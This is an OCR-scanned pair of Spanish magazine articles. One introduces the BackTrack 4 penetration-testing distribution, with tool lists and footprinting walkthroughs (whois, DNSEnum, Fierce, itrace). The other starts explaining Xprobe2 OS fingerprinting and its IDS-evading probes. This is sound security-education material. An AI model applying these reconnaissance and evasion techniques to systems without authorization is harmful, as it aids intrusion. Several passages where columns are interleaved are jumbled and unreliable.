Mas adelante se presenta en profundidad
las caracteristicas de BackTrack; de momento
se debe mencionar que BackTrack se alinea con
OSSTMM e ISSAF.

OSSTMM Open Source Security Testing
Methodology Manual, de Peter Herzog, es una
metodologia para realizar métricas y pruebas de
seguridad. Los casos de prueba son divididos
en cinco canales (secciones) los cuales prueban
colectivamente: controles de datos e informa-
cion, niveles de sensibilizacion en seguridad del
personal, niveles de control en fraude e ingenie-

ria social, redes de telecomunicaciones y com-

All Applications

* o Information Gathering

(%] lnFemet ¥ o Network Mappings

i Wine ¥ o Vulnerability Identification
Graphics ¥ o Penetration

< System ¥ = Privilege Escalation

o Utilities ¥ s Maintaining Access

A KsSnapshot
Actions
# Settings
ks Systemn Menu
% RBun Command...

= Radio Network Analysis
e VOIP

¥ o Digital Forensics

4] == Reverse Engineering
o Miscellaneous

! 1 Lock Session 2, Conky

(4] Log Out...

o @ |«

* r v v v v

Inicio de BackTrack4 en modo consola

putadoras, dispositivos inaldmbricos, dispositi-
vos moviles, controles de acceso en seguridad fi-
sica, procesos de seguridad, y ubicaciones fisicas
tales como construcciones, perimetros y bases
militares.

OSSTMM se enfoca en detalles técnicos
0 en como exactamente necesitan ser probados
ciertos puntos, qué hacer antes, durante, y des-
pués de las pruebas de seguridad; y como me-
dir los resultados. Se afiaden y actualizan regu-
larmente nuevas pruebas de las mejores prac-
ticas internacionales, leyes, regulaciones, y lo
concerniente a ética. La version “Libre” dispo-
nible en este momento es la 2.2; pero para
los equipos Oro y Plata, las versiones beta

BackTrack4 en modo gréfico con KDE
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disponibles son la 3 RC20 y la 3 RCI5 res-
pectivamente.

Por su parte ISSAF Information Systems
Security Assessment Framework es el proyecto
bandera de OSSIG Open Information Systems
Security Group, esun esfuerzo por desarrollar
una estructura de trabajo para evaluaciones de
seguridad. ISSAF tiene como objetivo propor-
cionar un punto unico de referencia para pro-
fesionales involucrados en evaluaciones de
seguridad; esto refleja y direcciona temas
practicos de evaluaciones de seguridad. La
ultima version publicada del documento data
de Mayo del afo 2006; aun asi, los contenidos
expuestos deben ser asimilados por todos los
individuos inmersos en evaluaciones de segu-
ridad.

Finalmente, entre las metodologias y es-
tructuras de trabajo detalladas con anterio-
ridad, creo conveniente mencionar a Pene-
tration Testing Framework o Estructura de
Trabajo para Pruebas de Penetracion de Vul-
nerabilityAssessment.co.uk, un portal de in-
formacion de analistas de vulnerabilidades
y personas que realizan Pruebas de Penetra-
cion. Es una estructura de trabajo que combina
de manera adecuada plantillas, técnicas, herra-
mientas, informes, enlaces a recursos y con-
ceptos. Recomiendo su lectura y consecuente
aplicacion. La figura 3 muestra las fases de
esta estructura de trabajo. Como se puede ob-
servar, se incluyen dos fases importantes y vi-
tales: la denominada Visita de Inspeccion Pre-
via (donde se detalla el alcance de la prueba),
el tipo de prueba y el propoésito de la prueba,
entre otras; y el Reporte Final donde se inclu-
ye una plantilla de reporte.
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Cisco Base de Datos Fuzzers _—
Cisco Auditing Tool MetaCoretex BED
Cisco Global Exploiter Pblind Bunny
Cisco OCS Mass Scanner SQLBrute JBroFuzz
Cisco Passwd Scanner SQLcheck Peach >
Copy Router Config SQLData SPIKE
Merge Router Config SQLiX VoIPER
SQLMap WSFuzzer
Sanna i ~ I
SMB SNMP Web
smbclient.py * ADMsnmp asp-audit
braa Burp Suite
snmpcheck * CSRFTester
snmpwalk DirBuster
Grabber Categorias de las herramientas en
Grendel-Scan BackTrack
httprint completamente en cuestion de minutos. Esto
httprint GUI literalmente asciende a BackTrack 4 de un Live
bd CD a una distribucion completamente plena.
List-Urls BackTrack ha sido desarrollado a partir de
Mini MySqlatOr la fusion de dos distribuciones ampliamente
Paros Proxy difundidas — Whax y Auditor Security Co-
ratproxy llection. Uniendo sus fuerzas y reemplazando
SWFIntruder estas distribuciones, BackTrack gan6 una ma-
w3af siva popularidad y fue votada en el 2006 como
Wapiti la Distribucion Live de Seguridad #1 por
WebScarab Lite insecure.org. Tanto los profesionales de seguri-
Webshag dad como los recién iniciados, utilizan Back-
Wiuzz Track como su conjunto de herramientas favo-
Penetracion ritas alrededor del mundo.
Fast-Track * BackTrack tiene una larga historia y se ba-
Inguma s6 en muchas distribuciones de Linux. Actual-
Metasploit mente esta basada en Ubuntu, que se basa a su
MilwOrm vez en Debian. La razon principal para esto,
Escalar Privlegios es que de los mas de tres millones de usuarios
Ataque de contrasefias Sniffers Spoofing que descargan BackTrack, ninguno de ellos
Offline dsniff ADM DNS tools recibi6 actualizaciones de seguridad o parches,
bkhive Etherape ICMP Redirect desde que se libero. La distribucion no ha sido
chntpw ettercap igrp route injector mantenida.
John the Ripper ettercap-GTK * IRDPresponder Con agencias del gobierno y Fortune 500
RainbowCrack ntop Nemesis utilizando BackTrack como su plataforma de
RTDump SmbRelay3 netenum pruebas principal, se sinti6 la obligacion de en-
RTGen ssldump NetSed frentar esta situacion haciendo BackTrack 4 una
RTSort tcpick packETH distribucion real con actualizaciones de segu-
samdump2 Xspy Packit ridad y herramientas. Esto literalmente ascen-
SQLPAT Scapy di6 a BackTrack 4 de un Live CD (CD en vivo)
Wyd Sing a una distribucién plena y completa.
Online ssldump Ser superior al mismo tiempo de ser facil
BruteSSH tcpreplay de utilizar es la clave para un buen Live CD
Hydra de seguridad. Se toman las cosas un paso mas
Lodowep alla y BackTrack se alinea con metodologias
Medusa de Pruebas de Penetracion y Estructuras de Tra-
SSHatter * bajo de evaluacion (OSSTMM e ISSAF). Esto

que sea necesario realizar instalacion alguna, la

ayuda a los profesionales durante las diarias
pesadillas de redactar informes.

-—

BackTrack es la distribucion Live (en vivo) mas  plataforma de andlisis se inicia directamente BackTrack actualmente esta constituida por

famosa enfocada a Pruebas de Penetracion. Sin  desde el CDROM o DVD, y se puede acceder mas de 300 herramientas actualizadas, que estan
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estructuradas de manera logica de acuerdo al
flujo de trabajo de los profesionales de segu-
ridad. Esta estructura permite que incluso los
recién llegados puedan ubicar las herramientas
relacionadas para una determinada tarea que
debe realizarse. Las nuevas tecnologias y téc-
nicas de prueba son incluidas en BackTrack tan
pronto como es posible para mantenerla actu-
alizada.

Ninguna otra plataforma de analisis Libre
o Comercial ofrece un nivel equivalente de
usabilidad con una configuracion automatizada
y enfocada a Pruebas de Penetracion.

Las nuevas caracteristicas de BackTrack
incluyen:

* Kernel 2.6.18.1 con soporte mejorado de
hardware.

» El soporte nativo para tarjetas pico E12
y E16 es ahora completamente funcional,
haciendo a BackTrack la primera distribu-
cion de Pruebas de Penetracion que utiliza
plenamente estas impresionantes maquinas
diminutas.

e Soporte para Arranque PXE — Arranque de
BackTrack sobre la red con tarjetas PXE
soportadas.

e SAINT EXPLOIT — Proporcionado ama-
blemente por SAINT Corporation para
los usuarios de BackTrack con un niimero
limitado de IPs gratis.

¢ MALTEGO - Los chicos de Paterva hicie-
ron un excelente trabajo con Maltego 2.0.2
— el cual es utilizado en BackTrack en su
community edition (Edicion Comunidad).

*  Se han aplicado los ultimos parches de in-
yeccion inalambrica en mac80211, con va-
rios parches personalizados para mejorar
la velocidad de inyeccion en rtl8187. El
soporte para inyeccion inalambrica nunca
ha sido tan amplia y funcional.

e Unicornscan — Completamente funcional con
soporte de registro postgresql e interfaz web.

e Soporte RFID.

e Soporte Pyrit CUDA.

e Herramientas nuevas y actualizadas.

Del anuncio de BackTrack beta 4 publicado en
su respectivo Blog se detallan algunas anota-
ciones, cuyo proposito es ser una ayuda ante
la oleada de preguntas que siempre acompafian
a la liberacion de una nueva version.

»  Lacontraseia por defecto para BackTrack be-
ta 4 no ha cambiado, sigue siendo root / toor.

*  Se utiliza KDE 3 en BackTrack 4. Se inten-
t6 utilizar KDE4 realmente. Quiza la 4.2 en
la version final de BackTrack 4.
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La mayoria de paquetes que puede ser
descargados con apt, tiene “kde3” anadida
a sus nombres. De esta manera es correcto
“apt-get install kate-kde3”, no es correcto
“apt-get install kate”. Se debe utilizar
“apt-cache search” para buscar paquetes
a instalar.

Las fuentes del Kernel se incluyen en
fusr/src/linux.

DHCP esta deshabilitada por defecto en
el inicio; se necesita ejecutar el siguiente
comando: /etc/init.d/networking start.

Si se desea realizar una instalacion en el
Disco Duro, y se quiere restaurar la red
(DHCP) para habilitarlo al inicio, se debe
teclear: “update-rc.d networking defaults”
Se puede obtener una instalacion en vivo
en un USB facilmente con Unetbootin.
Los usuarios de VMware pueden arreglar
la resolucion de KDE, para esto se debe
teclear “fixvmware” antes de iniciar X.
Las herramientas VMware, y modulos del
kernel compilan perfectamente sobre VM-
ware 6.5.1

Si no se puede hacer que X funcione, pri-
mero se debe autogenerar un xorg.conf;
para ello teclear “Xorg.configure” y utili-
zar el archivo de configuracion generado.
Esto puede ser revertido a VESA, al te-
clear “fixvesa”.

La red inalambrica en KDE puede ser ini-
ciada con KnetworkManager (/etc/init.d/
NetworkManager).

Varios controladores pueden ser ubicados
en /opt/drivers/ (diversas ramas madwifi),
controladores de video para Nvidia y HP.
La instalacion de BT4 al Disco Duro es
similar a BT3 (tip: Recordar modificar /
etc/fstab después de la instalacion). Cam-
biar la primera linea de aufs / aufs ... al
dispositivo correspondiente y sistema de ar-
chivos. Por ejemplo /dev/sda3 / reiserfs
defaults 0 0, como la particion raiz, esta
sobre sda3 y se utiliza el sistema de archi-
vos reiserfs.

Se presenta el mensaje de advertencia:
“W: GPG error: http://ppa.launchpad.net
intrepid Release: The following signatu-
res couldn't be verified because the public
key is not available: NO_PUBKEY CB2F6-
C86F77B1CA9” cuando se hace “apt-get
update”, debido a que los repositorios de
KDE 3 no utilizan clave GPG. Para solu-
cionar esto, es posible hospedar estos pa-
quetes en un /ost propio.

Para generar llaves ssh por primera vez se
debe teclear: “sshd-generate”.

Conky toma un tiempo en cargar.
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SEAT Report 1240459185 - Mozilla Firefox

Para empezar a utilizar BackTrack, se debe pro-
Fle Edit wiew History Bookmarks Tools Help

ceder a descargar la imagen /SO de la seccion
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barlo en un DVD, dado que BackTrack 4 beta
tiene un tamaio de 854 MB.

Existe una segunda opcion, que consiste en

SEAT Report 1240459185 —
+E——— pe

o login . .

« Aleaviers descargar una imagen VMware, para ser utili-

zada con VMware Player; VMware Player es

un software de virtualizacion de escritorio libre

que permite ejecutar maquinas virtuales en Pcs

srw ey peffy
I bty

Windows o Linux. De esta manera se puede

Tosal Mits: 264

ejecutar multiples sistemas operativos simul-
Mined

taneamente en la misma PC, disfrutando de los

beneficios de productos preconfigurados sin las

molestias de una instalacion o configuracion.

Como se puede inferir de lo anterior, se

puede ejecutar BackTrack en entornos Virtua-
I L T o _'lﬂ lizados. He utilizado para el presente articulo
Done @ VirtualBox, un poderoso producto de virtuali-

B a@ | - @ SEAT Report 12404° BEg) 1 2 m zacion para empresas y usuarios de casa, que

la Gni lucio fesional di ible li-
Reporte generado por SEAT de los resultados obtenidos es la unica solucion profesional disponible li

bremente como Sofiware Open Source bajo los
TERMS OF USE: You are not authorized to access or query our Whois

database through the use of electronic processes that are high-volume and terminos de la Licencia Publica General GNU

\m:i::: Whoiz databaze is provided as a service to the internet (GPL), que se ejecuta en Windows, Linux, Ma-
cintosh y OpenSolaris.

W the ol i e ol e Voutngree Thal o ma F : Se puede tener una instalacion de Back-

o :‘I:rgilg:rp:;:h]e n-:bgth:n:n = ;;;;:nill::":g:nﬂnn rEme Track Live (en vivo) en un USB utilizando Unet-

S IeTIC: ok () CasbI Mgh & automated, electronic pr ; bootin. Unetbootin permite crear USBs live

apilation: Topac o Rt arrancables de una variedad de distribuciones
g Linux desde Windows o Linux, sin la necesidad
de ser grabado en un CD.

Finalmente, es posible realizar una insta-
lacion de BackTrack en el disco duro; me per-
mito remitirlos al Foro del BackTrack, para
una completa y detallada informacion del pro-
cedimiento. La URL del foro se presenta en
“Referencias” del presente articulo.

Aunque BackTrack tiene entornos graficos
root@ht: # whois —h kero.yachay.pe ewemsic pe | nore (como el que se muestra en la Figura 4) que fa-

Consulta realizada con whois al dominio objetivo cilitan algunas tareas o labores, la mejor manera
de enfrentarse a BackTrack por primera vez es

: Joint Whois — uhois. lacnic.net iniciar su utilizacion en el RunLevel (Nivel de
% This server accepts single ASN, IPud or IFub queries
A Herramientas de BackTrack (Manteniendo
+ Copyright LACHIC lacnic.net el Acceso)
< The data iz provided for information purpo: .
and to t nbta iy informat ion Manteniendo el Acceso
related to AS and IP numbers registrations
By subnitting a whoi . you agree to use this data 3pr0xy
ily For lawful pury
3 9°C CryptCat
Dns2tcp
Miredo
Miredo-Server
NSTX
Proxytunnel
: ptunnel
Inﬁ'lg: .MET.PE socat
: stunnel4
) Tinyproxy
UDPTunnel

Consulta realizada con whois a la direccion IP objetivo
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st's addresses:

Trying Zonetr

trying zonetr

Informacién obtenida del objetivo con el uso de DNSEnum

ejecucion) 3 o Modo consola, tal y como lo
muestra la Figura 5.

Como se ha detallado en la seccién “Fa-
ses del Ethical Hacking”, existen cinco fases
generales, las herramientas que se incluyen en
BackTrack; segiin informacion obtenida de su
propio wiki, pueden ser categorizadas de las
siguiente forma (Ver Tablas 1, 2, 3 y 4).

El simbolo * en el lado derecho de la herra-
mienta indica que hay un bug fix (arreglo de
error) disponible.

Como se expone en las categorias anterio-
res, no solo se incluyen en BackTrack herra-
mientas orientadas netamente a Ethical Hac-
king o Pruebas de Penetracion; de igual manera
se incluyen herramientas de gran valor y que
pueden ser utilizadas en areas como Forense
Digital e Ingenieria inversa, entre otras.

La Figura 6 muestra las categorias en que
las herramientas de BackTrack son organizadas.
Se exponen en forma de fases. Si nos remitimos

Footehi: % dnstracer
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a la Figura 1, que corresponde al Ethical Hac-
king de cinco fases, se puede ver una correspon-
dencia entre estos dos diagramas; el recuadro
rojo de la Figura 6 que rodea al Mapeo de la
Red e Identificacion de Vulnerabilidades, indi-
ca que estas dos fases pueden ser englobadas en
la Fase 2 o Sondeo de la Figura 1.

Lo expuesto facilita el trabajo de realizar
Ethical Hacking o Pruebas de Penetracion. El
tener una distribucion como BackTrack beta 4,
donde el orden y la aplicacion de conceptos co-
rrectos se perciben en cada rincon de esta
distribucion, nos ayuda a realizar las pruebas
que nuestros trabajos lo ameriten, de manera
correcta, eficiente y ordenada.

La Fase de FootPrinting, que me animo a
traducir como “rastros”, consiste en realizar un
reconocimiento sistematico y metodico de una
organizacion, que permite al atacante crear un

It 3
efault localhost

t authoritative answe

Resultados de ejecutar dnstracert sobre el dominio
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perfil lo mas cercano y completo posible sobre
la postura de seguridad de la organizacion.
Para este proposito se utiliza una combinacién
de técnicas y herramientas, ademas de mucha
paciencia; para que de esta manera el atacante
pueda reducir toda la ingente cantidad de infor-
macion recabada en esta fase y obtener infor-
macion vital, tal como nombres de dominio,
bloques de red, subredes, routers, etc.

El FootPrinting es necesario porque pro-
porciona una fotografia de lo puede ver un
Hacker. Si se tiene conocimiento de aquello
que pueden ver los Hackers, se pueden cono-
cer las potenciales exposiciones de seguridad
que se tienen en el entorno. Y cuando se cono-
cen qué exposiciones se tienen, se sabe como
prevenir la explotacion de estas.

Se debe de tener en consideracion que antes
de iniciar las pruebas, se haya determinado muy
bien el alcance de las actividades que se van
arealizar; ademas de haber obtenido una autori-
zacion apropiada para realizar estas pruebas.

A continuacion se presentan algunos ejem-
plos para la fase de FootPrinting, utilizando las
herramientas apropiadas que se incluyen en Bac-
kTrack beta 4 para este proposito. Estos ejemplos
son muy bdsicos y minimos, pero proporcionan
una idea del poder o utilidad de BackTrack.

Tal y como se muestra en la Figura 7, se puede
utilizar wget para guardar una copia local de la
pagina web del objetivo, y de esta manera reali-
zar un posterior andlisis de los contenidos de la
pagina web y aplicar herramientas y filtros so-
bre ellas. Una herramienta muy conocida, mul-
tipropdsito, que no necesita mayor explicacion.

Con la utilizacién de un navegador como Fi-
refox, podemos buscar en Google Maps la ubi-
cacion fisica del objetivo. La figura 8 muestra
esta busqueda.

También se utiliza un navegador como
Firefox para realizar busquedas sobre los em-
pleados, como sus niimeros de teléfono, correos
electronicos y detalles personales.

Se debe tener en consideracion de igual
manera los eventos actuales que se suceden en
la empresa, ademas de obtener los detalles téc-
nicos y politicas de privacidad o seguridad que
indiquen los tipos de mecanismos de seguridad
que se tienen en el lugar.

Asi mismo, para obtener copias de archivo
o archivadas de la evolucion y cambios de la
pagina web del objetivo, nuevamente se utiliza
un navegador en el entorno grafico de Back-
Track. La figura 9 muestra los resultados de
esta busqueda.
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it worked — misconf igured DNS server found:
3400 IN 500

Fierce en plena ejecucion

GooScan es una herramienta que automatiza
las consultas a Google, pero con una peculia-
ridad. Estas consultas particulares estan dise-
fladas para encontrar vulnerabilidades poten-
ciales en paginas web. Piénselo como enun “es-
caner cgi” que nunca se comunica directamen-
te con el servidor web objetivo, debido a que
todas las consultas son enviadas a Google, no
al objetivo. Esta es una herramienta poderosa
y podria violar los términos del Servicio de Go-
ogle si no se utiliza correctamente. La figura 10
muestra la aplicacion de esta herramienta.

MetaGooFil es una herramienta de obtencion de
informacion, diseflada para extraer metadatos de
documentos publicos (doc, pdf, xls, ppt, odp, ods)
que estan disponibles en la pagina web del ob-
jetivo o victima. En la figura 11 se muestran los
resultados de la utilizacion de esta herramienta.
Foot@hL:

Tracing with ICHP Echos to 260.60.44.2
Tineout 3, interface ethd

Tineout
Tineout
Tineout
Ti t

Ti 1

Tineout

# Itrace -1 ethl -v -4 ST pe

SEAT (Search Engine Assessment Tool) o He-
rramienta de evaluacion en motor de bisqueda.

SEATeslaproximageneraciondeaplicacio-
nes para realizar una extracciéon de informa-
cion orientada a las necesidades de los pro-
fesionales de seguridad. SEAT utiliza infor-
macion almacenada en las bases de datos de
los motores de busqueda, repositorios caché,
y otros recursos de informacion publica para
sondear un sitio en busqueda de potenciales
vulnerabilidades. Es multitarea, multi base de
datos y multi motor de busqueda; estas capa-
cidades permiten una navegacion facil a través
de vastas cantidades de informacién con el
objetivo de evaluar la seguridad de un siste-
ma. Ademas, la habilidad de SEAT de proce-
sar facilmente firmas adicionales de motores
de busqueda, como también bases de datos
de vulnerabilidades personalizadas, permiten
que los profesionales de seguridad adapten

Prueba que revela un filtrado al ejecutar itrace
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Otras herramientas de Back Track

Recopilacion de Informacion  Mapeo de la Red

Otrace * Otrace *
DNSEnum 5NMP
dnstracer Amap
Fierce Autoscan
Gooscan fping
itrace hping2
Ibd hping3
Maltego httprint
MetaGooFil httprint GUI
netenum ike-scan
netmask Netdiscover
protos Nmap
SEAT onesixtyone
tcptraceroute pOf
tctrace propecia
protos
psk-crack
SSLScan
teptraceroute
Unicornscan
Xprobe2

SEAT a sus necesidades especificas. Las figu-
ras 12 y 13 muestran su utilizacion.

WHOIS es un protocolo TCP basado en peticion/
respuesta que se utiliza para efectuar consultas
en una base de datos que permite determinar
el propietario de un nombre de dominio o una
direccion /P en Internet. Las consultas se han
realizado tradicionalmente usando una interfaz
de linea de comandos, pero actualmente existen
multitud de paginas web que permiten realizar
estas consultas. Los clientes de linea de coman-
dos siguen siendo muy usados por los adminis-
tradores de sistemas. La figura 14 y 15 expone
la utilizacién de whois para la consulta de un
dominio y para la consulta de su direccion /P.

Es un script multitarea para enumerar informa-
cion sobre un dominio y descubrir bloques de
direcciones /P contiguos. Por ejemplo, obtener
la direccion del Host, obtener los servidores de

Herramientas de BackTrack: Analisis

de Redes de Radio
80211 Bluetooth RFID
aircrack-ng Blueprint RFIDIOt ACG
airmon-ng Blue|Smash RFIDIOt
Airsnarf btscanner Frosch
Asleap hcidump RFIDIOt
coWPAtty Minicom PCSC
genpmk ObexFTP
Kismet ussp-push
MacChanger
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tracion, utilizando BackTrack con los cambios
y mejoras realizadas en su version beta mas
reciente.

Se debe tener en consideracion que las
pruebas se inician con una parte tedrica, que es
una sucesion de pruebas ordenadas, donde los
resultados de cada prueba pueden ser utilizadas
como la entrada de las pruebas subsiguientes.
La eleccion y utilizacion de las herramientas
incluidas en BackTrack, dependen en alto grado
de esta comprension.

Solamente nuestra capacidad para entender
las tecnologias, aplicar conceptos y utilizar las he-
rramientas adecuadas hacen la diferencia en los
resultados entre quienes utilizan BackTrack4. b

&

nombre, obtener el registro MX, realizar con-
sultas de transferencia de zona a los servidores
de nombres, etc. En la Figura 16 se muestra la
ejecucion de esta herramienta.

dnstracert determina desde donde un servidor
de nombres de dominio dado (DNS) obtiene
informacion, y sigue la cadena de servidores
DNS de regreso al servidor que conoce los
datos. Se listaran todos los servidores DNS
que respondan a la consulta, con una asocia-
cion grafica basada en ASCII entre servidores
de nombres. La figura 17, muestra un breve
ejemplo.

Fierce es un escaner liviano que ayuda a locali-
zar direcciones /P y nombres de 4ost no conti-
guos en dominios especificados. Esto significa
realmente que es como un precursor a nmap,
Unicornscan, Nessus, Nikto, etc, debido a que

D
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todos estos requieren que se conozca el espacio
de direcciones IP que se esta buscando. Este no
realiza la explotacion y no realiza un sondeo
de internet indiscriminado. Esta destinado es-
pecificamente a localizar posibles objetivos, tan-
to dentro como fuera de una red corporativa.
Debido a que utiliza primordialmente DNS
algunas veces se encuentran redes mal confi-
guradas que permiten la fuga del espacio de
direcciones interna. Esto es especialmente util
para el malware. En la figura 18, se observa
algunos resultados expuestos por Fierce.

Un programa que implementa la funcionalidad
de traceroute utilizando paquetes /CMP echo
request. Por lo tanto parece que se estuviera
haciendo solo PING al objetivo cuando en
realidad se hace un traceroute. Algunas veces
ayuda a hacer una traza de Firewalls. En la
figura 19 se muestra la salida de este coman-
do, se aprecia un filtrado en el resultado de la
prueba.

Una implementacion de traceroute que utiliza
paquetes TCP. El mas tradicional traceroute
envia ya sea paquetes UDP o ICMP con TTL
a uno, e incrementa el 77L hasta que el desti-
no u objetivo sea alcanzado. Imprimiendo las
pasarelas que generan mensajes /CMP time
exceeded en el camino, es capaz de determinar
la ruta que los paquetes toman para alcanzar
su destino. La Figura 20 muestra un breve
ejemplo.

El presente articulo expone la fusion que es po-
sible realizar entre las metodologias o frame-
works de Ethical Hacking y Pruebas de Pene-
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27



28

seguridad y ethical hacking
Xprobe2: técnicas de fingerprinting

Xprobe2: técnicas
de fingerprinting

David Puente Castro

¢, Qué sistema operativo se encuentra detras de ese servidor tan famoso? Para
vulnerarlo necesitariamos al menos saber a qué nos enfrentamos, ¢ verdad?

Estas preguntas hoy en dia ya tienen respuesta, y en este articulo descubriras
una de las mejores herramientas dotada para esta tarea.

linux@software.com.pl

probe (durante el transcurso de todo el docu-

mento trabajaremos con su version 2), es una

aplicacion de busqueda o analisis de huellas

activa. El lector se preguntara qué quiere decir
eso de activa. La explicacion es sencilla. Disponemos de dos
metodologias a la hora de identificar el sistema operativo que
se encuentra detrds de un ordenador o servidor conectado
alared.

Por un lado tenemos el analisis de huellas pasivo o fin-
gerprinting pasivo. Aplicaciones como “pOf” utilizan estas téc-
nicas. En resumidas cuentas se basa en la espera de paquetes
provenientes del servidor que se desea identificar, con el ob-
jetivo de analizarlas posteriormente contra una base de datos
de respuestas conocidas y asociadas con sus correspondientes
sistemas operativos. Solemos llamar a este tipo de métodos
como silenciosos, ya que el atacante no genera trafico ilegiti-
mo que pueda delatarlo.

Pongamos un ejemplo, imaginemos un servidor web.
Visitar una de sus paginas con nuestro navegador habitual
es una practica totalmente legitima (no enviamos paquetes
extrafios). Una herramienta como p0f puede esperar por las
respuestas del servidor para analizarlas correspondiente-

Linux+ 7-8/2009

mente e informarnos del sistema operativo que se encuentra
detras de éste.

En el lado opuesto tenemos la metodologia de analisis
de huellas activo, que como habras podido deducir, se basa
en el envio de paquetes especialmente seleccionados con el
fin de obtener ciertas respuestas por parte del servidor que
nos ofrezcan la posibilidad de identificarlo. Claro estd, este
tipo de ataques es lo que llamariamos mas ruidoso, y es por
este motivo que las técnicas utilizadas han tenido que ir
mejorando con el paso del tiempo para evadir este tipo de
problematica.

Ofir Arkin, con la ayuda de Fyodor Yarochkin (creador
del famoso escaner de puertos Nmap), ided el analisis de
huellas a través de respuestas ICMP. Qué significan estas
siglas lo veremos a continuacion, pero antes de eso aclarare-
mos que la habilidad principal de Xprobe para moverse con
sigilo en sus ataques, es el hecho de no crear ningin paquete
malformado. Todas las tramas que Xprobe envia son formacio-
nes legitimas que no haran saltar ningtin IDS configurado para
detectar acciones susceptibles de ser peligrosas. Aquellos po-
cos que si hicieran saltar las alarmas desgraciadamente pasaran
la mitad de su tiempo advirtiendo falsos positivos (sefialando



amenazas que en realidad no lo son), lo que
provocara grandes dolores de cabeza a los ad-
ministradores del sistema.

En la red, como en todos los lugares, existen
muchos problemas, y a pesar de que la mayoria
de las veces nuestros ojos no los advierten, tiene
que haber obligatoriamente algo o alguien que
los controle y disponga las medidas necesarias
para que todo continiie por su camino.

En el caso de Internet, esta tarea se le ha
concedido al protocolo ICMP (Internet Con-
trol Message Protocol). Este protocolo es el
encargado de indicar, por ejemplo, cuando un
servidor no esta disponible o no es alcanzable,
cuando se producen errores en la transmision de
datagramas o mismo cuando éstos caducan.

Obviamente, no discutiremos aqui sus in-
terioridades. Para ello no hay mejor solucion que
acudir directamente a su RFC correspondiente, del
cual disponemos ademas de su version en espaiiol
y que puedes consultar en la siguiente direccion:
http://www.rfc-es.org/rfc/rfc0792-es. txt.

Su estructura es muy sencilla, en el articulo
Una Historia de Hacking Practico pudimos ver
el formato de una cabecera TCP, en la Figura 1
mostramos la correspondiente a un mensaje de
error [ICMP.

El tipo de mensaje es una categoria general
que caracteriza el tipo de error que se ha gene-
rado, mientras que el codigo de mensaje espe-
cifica el error en particular dentro de esta cate-
goria. El checksum o suma de control, es como
siempre un codigo que verifica la integridad del
paquete y se asegura de que éste no haya sido
manipulado mientras viajaba por la red.

Generalmente, los paquetes o respuestas
ICMP no se crean de forma intencionada sin
que antes se haya producido un error. No obs-
tante, hay dos aplicaciones muy conocidas que
si lo hacen para lograr ciertos objetivos, ellas
son las ampliamente conocidas ping y trace-
route. Su funcionalidad ya ha sido descrita en
articulos anteriores de la seccion hacking para
linuxeros de esta misma revista.

Sin entrar en detalle sobre los codigos dispo-
nibles en cada tipo de mensaje ICMP, aqui mues-
tro una lista de los mensajes que pueden ser trans-
mitidos mediante este protocolo (ver Tabla 1).

La herramienta Xprobe, en su version 2, puede
ser obtenida directamente desde su pagina oficial
en http://xprobe.sourceforge.net/. En la Figura 2
se pueden ver todas las opciones que permite es-
tablecer la aplicacion a la hora de realizar el ana-
lisis. Entre las mas interesantes y las novedades
de las tltimas versiones, tenemos la posibilidad

de escaneo de puertos a través de la opcion -T,
y la opcion -r que hace las veces de traceroute
mostrando la ruta que hay desde el atacante
hasta el host analizado.

Una vez descargado el paquete compri-
mido, instalarlo es tan facil como seguir los 3
comandos basicos de toda la vida:

$ ./configure
$ make

$ sudo make install

NOTA: Xprobe necesita privilegios de adminis-
trador para ser ejecutado debido al manejo de
sockets a bajo nivel.

Para un primer vistazo, no hay nada mejor
que un escaneo basico al servidor web oficial de
LiNUX+. Seria realmente sorprendente cazar-
los utilizando un sistema operativo Windows,
(no es cierto? Afortunadamente son personas
responsables y conscientes de que su seguridad
prima por encima de cualquier otro aspecto. La
Figura 3 verificard mis palabras.

En dicha figura se muestra como Xprobe
nos ofrece una lista de posibles sistemas ope-
rativos con sus correspondientes versiones y
listados segun un orden estadistico de proba-
bilidades. En nuestro caso la probabilidad era
la misma para todas las versiones de nucleo
listadas, pero esto no siempre es lo habitual.

Pero la pregunta es: ;de donde extrae Xpro-
be estos porcentajes? Pues al contrario que otra
clase de herramientas dedicadas al fingerprin-
ting activo, que emiten paquetes especialmente
manipulados para obtener respuestas que coin-
cidan con patrones previamente establecidos,
Xprobe realiza una serie de pruebas separadas
o divididas en modulos.

Terminal

Sclapas Ayuda

Lista de opciones de xprobe2
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1 brpter 1 byt 2 iyt
[TiPo MENSHE [CODIGO MENSAIE | CHECKSUM
[i.ﬂ.TﬂS, OPCIONALE E.l
CABECERA IP

III.-'/,.-'.__,-'..I '..-I-"Ilp/wtps-_.-".-(-""-_/-_//-II.-"'-

Cabecera del protocolo ICMP

Cada modulo es ejecutado contra el host
objetivo, y de cada modulo que finaliza exito-
samente se obtiene un resultado. Los resultados
finales de todas las pruebas son sumados de
forma que se obtiene una puntuacion en un ran-
king. Es este ranking el que permite establecer
la prioridad de unos sistemas operativos frente
a otros e incluso entre versiones, variaciones de
nucleos o “service packs” instalados en el caso
de un sistema de la casa Microsoft.

En la version 2 de Xprobe, los modulos
utilizados y cargados al inicio son 13,y son los
siguientes:

e ICMP echo discovery module

e TCP-based ping discovery module

e UDP-based ping discovery module

e TCP and UDP based TTL distance calcu-
lation

*  TCP and UDP PortScanner

*  ICMP Echo request fingerprinting module

e ICMP Timestamp request fingerprinting
module

* ICMP Address mask request fingerprinting
module

*  ICMP port unreachable fingerprinting mo-
dule

*  TCP Handshake fingerprinting module

*  TCP RST fingerprinting module

*  SMB fingerprinting module

*  SNMPv2c fingerprinting module
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r Terminal Solapas Ayuda

Xprobe2 analizando el servidor de LINUX+

A continuacion observaremos mediante un sniffer,
en nuestro caso el también famoso Wireshark,
cuales son las tramas que Xprobe hace viajar
realmente por la red y cuales son las respuestas
obtenidas. De este modo veremos como trabaja
internamente y como logra su efectividad median-
te el uso de paquetes practicamente inofensivos.

Esquematicamente, Xprobe envia lo sigu-
iente:

e Peticion ICMP eco estandar, tipo 8, codigo
0 (ping).

e Peticion ICMP tipo 8, codigo 123.

e Peticion ICMP de marca temporal (times-
tamp), tipo 13.

e Peticion ICMP de enmascaramiento de
direccion, tipo 17.

e Peticion ICMP de informacion, tipo 15.

¢ Consulta DNS a www.securityfocus.com

*  Respuesta DNS no solicitada a la victima.

e Paquete TCP con el flag syn activado al
puerto 65535.

Puede echar un vistazo a todo esto en la Figura 4.

La primera peticion ICMP eco standard,
como ya hemos dicho, se trata de un simple
ping, que normalmente sirve para detectar si el
host escaneado se encuentra activo en ese mo-
mento. Pero Xprobe necesita algo mas sofisti-
cado para realizar sus estadisticas de analisis.
